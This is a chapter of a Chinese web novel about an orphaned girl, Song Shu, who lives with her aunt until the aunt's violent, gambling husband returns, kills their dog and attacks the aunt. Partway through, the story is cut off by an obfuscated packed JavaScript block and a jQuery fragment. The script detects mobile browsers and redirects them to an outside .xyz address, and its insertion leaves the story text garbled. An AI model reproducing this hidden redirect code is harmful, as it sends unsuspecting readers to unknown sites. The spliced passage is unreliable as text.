那年，她还叫宋姝。
这名字是她爹起的，取自静女其姝。
幼时，她很喜欢这个名字。
十里八乡的女孩皆被唤作“丫头”，什么张丫头，王丫头的。唯有她的名字沾染着书卷墨香，让村中女娃们艳羡不已。
更多人羡慕的是她父亲这个读书人，毕竟一个村子里能出一个读过书的人，实在比金子还珍贵。
可唯有村中耆老才知晓，她父亲耗尽半生心血追逐功名，年年背负行囊跋涉千里，却年年名落孙山、榜上无名。
她母亲为筹措丈夫进京赶考的盘缠，在昏黄的油灯下日夜织绣，熬瞎了双眼、熬垮了身子，最终在丈夫科举放榜前夜溘然长逝。
而这一次，命运依然无情，他再一次失败了。
二十三年，七次落第。
青石板上踏碎的晨霜，窗前挑灯夜读的身影，终化作一声凄厉长叹。
“原来做不到的事情，再努力千百遍也还是做不到。”
就在这声长叹里，他悬梁自尽，了却了半生执念。
她父母的丧葬事宜由村里操办，其实也不过是草草掩埋，堆起两座孤坟。
村中识字者寥寥，连坟头的字都是宋姝自己刻上去的。
小小一座碑，寥寥几个字，竟就是一个人的一生了。
那日薄雾未散，村长引着一位妇人走到坟前。
妇人踉跄着扑向墓碑，枯瘦的手指颤抖着抚过碑文，又将十岁的宋姝紧紧搂进怀中。
压抑许久的呜咽化作决堤的洪流，她哭那不成器的胞弟，哭识人不清的弟媳，哭她那小小年纪便失去父母的侄女。
宋姝方知，这妇人原是她的姑母。
姑母最后哭到她自己，千言万语，只剩一句，苦命啊。
三个字在旷野里回响，久久不止。
姑母叫春喜，是个再寻常不过的村妇，衣着朴素，头发也是用布条胡乱挽成髻。
她眼窝凹陷，眼下青黑，眼中尽是疲累。
宋姝任由那布满皲裂老茧的大手包裹住自己的，沟壑纵横的皮肤蹭得她掌心发痒，却奇异地涌起一股暖意。
仿佛只要跟着这双手，就能找到归处。
宋姝也确实有了一个新的家。
尽管是间茅草屋，屋顶漏风，腐朽的房梁木摇摇欲坠，门板歪斜地挂在半朽的门框上，仅靠一根草绳勉强绞住。
但这里终究是她的归宿，有疼爱她的姑母，还有总爱围着她转的黄狗二喜。
宋姝跟着姑母过着日出而作、日落而息的生活，上山挖野菜，下田干农活。
这些曾经跟着母亲做过的事，如今又在姑母身边重新经历了一遍。
夜晚，姑母借着微弱的灯火缝补衣物，夜风从破旧的墙壁缝隙中钻进来，吹得烛火摇曳不定。
昏黄的灯火下，姑母的面容忽明忽暗，有那么一瞬间，宋姝恍惚间将她看成了自己已故的母亲。
明明两人的样貌并不相似，可此刻她们的身影却在宋姝眼中重叠在了一起。
她再也抑制不住情绪，一头扑进姑母怀里放声痛哭。
姑母轻抚着她的头发，起初还柔声细语地安慰着，可渐渐地，悲伤的情绪也涌上心头。
一时间，屋内两人一个默默流泪，一个嚎啕大哭，把趴在门口的二喜吓得爪足无措。
姑母种的庄稼足够自给自足，偶尔收成好有些余粮时，她就会带着宋姝一起拿到村里的集市上卖。
不论做什么事，姑母总是习惯把宋姝带在身边。
那日跟着姑母去卖鸡蛋，她看见旁边卖蜜饯果子的村妇凑到姑母跟前，压低声音问道“你家男人回来过没有？前些日子我进城，赌坊那些人还在四处寻他下落。”
姑母听了这话，手上的活计也没停，一边码着鸡蛋一边淡淡地说道，“八成是死在外头了。不回来也好，回来我也要将他赶出去。”
“我是怕那些赌坊的人又来寻你家麻烦，”那村妇轻叹一声，目光落在站在姑母身旁的宋姝身上，细细打量道，“这丫头倒有几分像你，特别是这鼻子。”
姑母闻言，拉起宋姝的手介绍道，“这是我弟弟的女儿，宋姝。”
说罢，她又对宋姝说道，“这是村里的刘婶。”
宋姝乖巧地点点头，脆生生地喊了句“刘婶”。
刘婶看着四十来岁，皮肤黝黑，身上有股子香甜气味。
刘婶闻言脸上绽开笑容，从摊位上取了一袋蜜饯，不由分说地塞进宋姝怀里。
姑母连忙要掏钱，却被刘婶一把拦住。
“几颗山楂蜜饯值当什么。”
“那也不能白拿你的，”姑母边说边拿起篮子，利落地往里装了十几个鸡蛋，“这些鸡蛋你带回去。”
刘婶连连摆手推辞，姑母却执意将篮子往她手里塞。
两人推让了几个来回，刘婶终是拗不过，只得接过篮子，无奈笑道，“你这倔脾气，这么多年一点没变。”
姑母也笑了，“倔点好。不欠人东西，就不欠人情，日后若有什么，也能狠得下心肠。”
“你听听你姑母现在，大道理一套一套的。”
刘婶压低声音，朝宋姝努了努嘴。
“当年你姑父赌得倾家荡产、人人喊打的时候，你姑母可是连自己的嫁妆都典当光了，就为了替他还......”
话未说完，姑母便急急打断。
“这些陈年旧事，跟孩子说什么。”
刘婶讪讪地住了口，摆摆手道，“好好好，不说了不说了。”
随即话锋一转，与姑母聊起了家长里短。
刘婶说自家那个憨傻儿子，也不晓得日后该怎么办。
忽有一阵香风吹来，一个身披紫纱的高个女子走过，她娉婷之姿与乡野泥泞显得格格不入。
姑母向刘婶问道，“那姑娘是谁，好像没见过。”
刘婶说道，“那是朱家闺女，前几年不是闹荒么，她为了换口吃的跑去青楼还是窑子做了那个行当，可把他家脸都丢尽了，朱老头直到现在都不肯认这个闺女。”
姑母叹了口气，说道“她也是可怜，若有其他法子，谁愿意去干那种事。”
宋姝心不在焉地听着，手里捻着一根随手捡来的杂草。
纤细的手指灵巧地翻动着，不一会儿，那杂草便在她指间变成了一只模样奇怪的蚂蚱。
记得小时候，娘亲也常这样折给她玩。
只是自己手拙，怎么学都折不出这般模样。
姑母卖鸡蛋挣了几个钱，特意在村口肉铺挑了块上好的五花肉，说是要给正在长个儿的宋姝好好补补。
厨房里飘出的阵阵肉香，惹得宋姝不时咽着口水。
二喜更是兴奋得流了一地哈喇子。
宋姝搬了把竹椅坐在院子里，手里握着根细树枝，在沙土地上认真地写着字。
这是父亲生前每日都要检查的功课，如今虽无人督促，她却依然坚持着。
二喜原本安静地趴在她脚边，忽的一只蝴蝶轻盈地落在它湿漉漉的鼻尖上。
它疑惑地皱了皱鼻子，惊得蝴蝶翩然飞起。
二喜顿时来了精神，撒欢似的在院子里追着那抹翩跹的身影，惹得宋姝也不禁莞尔。
二喜突然停止了追逐，竖起耳朵转向院门方向，随即爆发出一连串急促而响亮的吠叫声。
宋姝被这突如其来的动静惊动，顺着狗吠的方向望去——
只见院门处赫然立着一个高大的身影。
那是个约莫三十多岁的男子，凌乱如杂草般的头发下是一张蓄满胡茬的脸，身上的衣衫褴褛不堪，衣襟歪斜地敞着，裤脚还沾着泥渍，整个人活脱脱像个漂泊已久的流浪汉。
二喜的狂吠声在院中回荡不止，男人恶狠狠地瞪向它，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423257|184820||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
从牙缝里挤出一句，“畜生！连老子都不认得了？”
他阴沉的目光越过狂躁的二喜，落在宋姝身上。那双浑浊的眼睛微微眯起，带着几分狐疑与不确定，“你......你是什么人？”
宋姝刚要起身应答，身后骤然响起姑母冷冽的声音，“二喜向来只认自家人，连畜生都不如的人当然不认得。”
姑母提着明晃晃的菜刀走上前来，将宋姝护在身后，眼神如刀锋般剜向男人。
“这孩子是谁？”男人不死心地追问。
“与你何干？”姑母将菜刀横在胸前，“识相的就快滚，否则......休怪我手里的刀不长眼睛。”
“这也是老子的家！”男人突然暴喝一声，抬脚就要往里闯。
“二喜！”姑母一声厉喝。
蓄势已久的二喜如离弦之箭扑向男人。
男人仓皇闪避，却被死死咬住手臂，破旧的衣袖瞬间洇开一片暗红。
男人吃痛挣扎，二喜却越咬越紧，竟生生撕下一块血肉。
他捂着鲜血淋漓的伤口，怨毒地瞪了姑母一眼，踉跄着逃出了院子。
宋姝望着男人仓皇逃窜的背影渐渐消失，这才转回身来。
姑母手中的菜刀已然垂下，紧绷的肩膀也微微放松，只是指节仍因用力而泛着青白。
“姑母......”宋姝轻声唤道，目光落在姑母疲惫的侧脸上，“那人是谁？”
姑母闻言，苦笑一声。
她抬手将散落的鬓发别到耳后，声音轻得几乎听不见，“疯子罢了。”
虽然姑母这样说，但无端的宋姝只觉得，这个男人大概就是她那素未蒙面的姑父。
入夜，月明星稀。
茅草屋内一片寂静。
宋姝在睡梦中隐约听见院外传来窸窸窣窣的声响，像是有人在拨弄门闩。
她迷迷糊糊睁开眼，正想唤姑母，却听见外面传来一声凄厉的犬吠，紧接着是重物倒地的闷响。
二喜？
宋姝一个激灵坐起身来，借着月光她看见姑母已经抄起门后的扁担，脸色煞白地挡在她床前。
“嘘——”姑母冰凉的手指抵在唇前，声音压得极低，“别出声。”
话音未落，只听“砰”的一声巨响，茅草屋的破门被人狠狠踹开。月光下，白日里那个落荒而逃的男人拖着根粗木棍闯了进来。
棍头沾着暗红的血迹，在清冷的月色下泛着诡异的光泽。
在他身后，二喜一动不动地躺在血泊里，黄毛被血黏成了一绺一绺。
“贱人！”男人一脚踹开房门，浑浊的眼珠里布满血丝，“老子今天非要——”
姑母的扁担带着破空之声劈下，却被男人一把攥住。他趁机欺身上前，将手中木棍砸在姑母身上，趁着姑母吃痛，他铁钳般的大手狠狠掐住姑母的脖颈，将她重重掼在地上。
“那畜生敢拦老子，我一棍子就送它见了阎王，”男人喘着粗气，手上的力道又加重几分，指甲深深陷入姑母苍白的皮肤里，“现在轮到你了，你说，我是不是也该一棍子打死你？”
宋姝见状，顾不得害怕，扑上去咬住男人的手臂，却被他反手一记耳光扇得眼前发黑。
男人阴鸷的目光在宋姝脸上剜过，转而掐紧姑母的咽喉，手背青筋暴起，“我再问你一遍，这孩子究竟是谁？”
“关你......屁事……”姑母被扼住的气管里挤出破碎的音节，指甲深深抠进男人白日里被二喜咬伤的部位，顿时血流如注。
男人突然松开钳制，却在姑母呛咳着弓起身时猛地揪住她发髻，迫使她仰头看向缩在墙角的宋姝。
男人猛地俯身逼近，鼻尖几乎贴上姑母惨白的脸，咬着后槽牙问道“她是不是老子的种？”
“你的种？”姑母突然哂笑起来，“你配吗？你的亲闺女，不是一出生就被你卖给牙婆了？”